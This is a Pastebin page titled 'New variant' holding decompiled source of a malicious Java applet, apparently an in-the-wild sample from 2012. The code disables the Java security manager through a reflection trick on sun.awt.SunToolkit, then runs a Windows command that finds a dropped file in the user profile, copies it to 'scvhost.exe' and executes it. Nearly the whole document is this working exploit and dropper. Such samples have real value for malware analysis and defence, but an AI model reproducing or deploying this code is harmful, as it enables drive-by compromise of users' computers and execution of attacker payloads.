daily pastebin goal
39%
SHARE
TWEET

New variant

eromang Aug 31st, 2012 2,384 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. import java.applet.Applet;
  2. import java.awt.Graphics;
  3. import java.beans.Expression;
  4. import java.beans.Statement;
  5. import java.lang.reflect.Field;
  6. import java.net.URL;
  7. import java.security.AccessControlContext;
  8. import java.security.AllPermission;
  9. import java.security.CodeSource;
  10. import java.security.PermissionCollection;
  11. import java.security.Permissions;
  12. import java.security.ProtectionDomain;
  13. import java.security.cert.Certificate;
  14.  
  15. public class subway extends Applet
  16. {
  17.   public subway()
  18.   {
  19.     try
  20.     {
  21.       localObject1 = this;
  22.       Statement localStatement1 = new Statement(System.class, "setSecurityManager", new Object[] { null });
  23.       (localObject2 = new Permissions()).add(new AllPermission());
  24.       Object localObject2 = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), (PermissionCollection)localObject2);
  25.       localObject2 = new AccessControlContext(new ProtectionDomain[] { localObject2 });
  26.       Object localObject4 = localObject2;
  27.       Statement localStatement2 = localStatement1;
  28.       Object localObject3 = "acc";
  29.       localObject2 = Statement.class;
  30.       localObject1 = localObject1;
  31.       (localObject1 = new Object[2])[0] = localObject2;
  32.       localObject1[1] = localObject3;
  33.       localObject2 = "sun.awt.SunToolkit";
  34.       (localObject3 = new Object[1])[0] = localObject2;
  35.       (localObject2 = new Expression(Class.class, "forName", localObject3)).execute();
  36.       (localObject1 = new Expression((Class)((Expression)localObject2).getValue(), "getField", localObject1)).execute();
  37.       ((Field)((Expression)localObject1).getValue()).set(localStatement2, localObject4);
  38.       localStatement1.execute();
  39.       Runtime.getRuntime().exec("CMD /C FOR /R \"%USERPROFILE%\\\" %i IN (feq*) DO copy \"%i\" \"%USERPROFILE%\\scvhost.exe\"&cmd /c \"%USERPROFILE%\\scvhost.exe\"");
  40.       return;
  41.     }
  42.     catch (Throwable localThrowable)
  43.     {
  44.       Object localObject1;
  45.       (localObject1 = localThrowable).printStackTrace();
  46.     }
  47.   }
  48.  
  49.   public void paint(Graphics paramGraphics)
  50.   {
  51.     paramGraphics.drawString("", 10, 10);
  52.   }
  53. }
RAW Paste Data
Top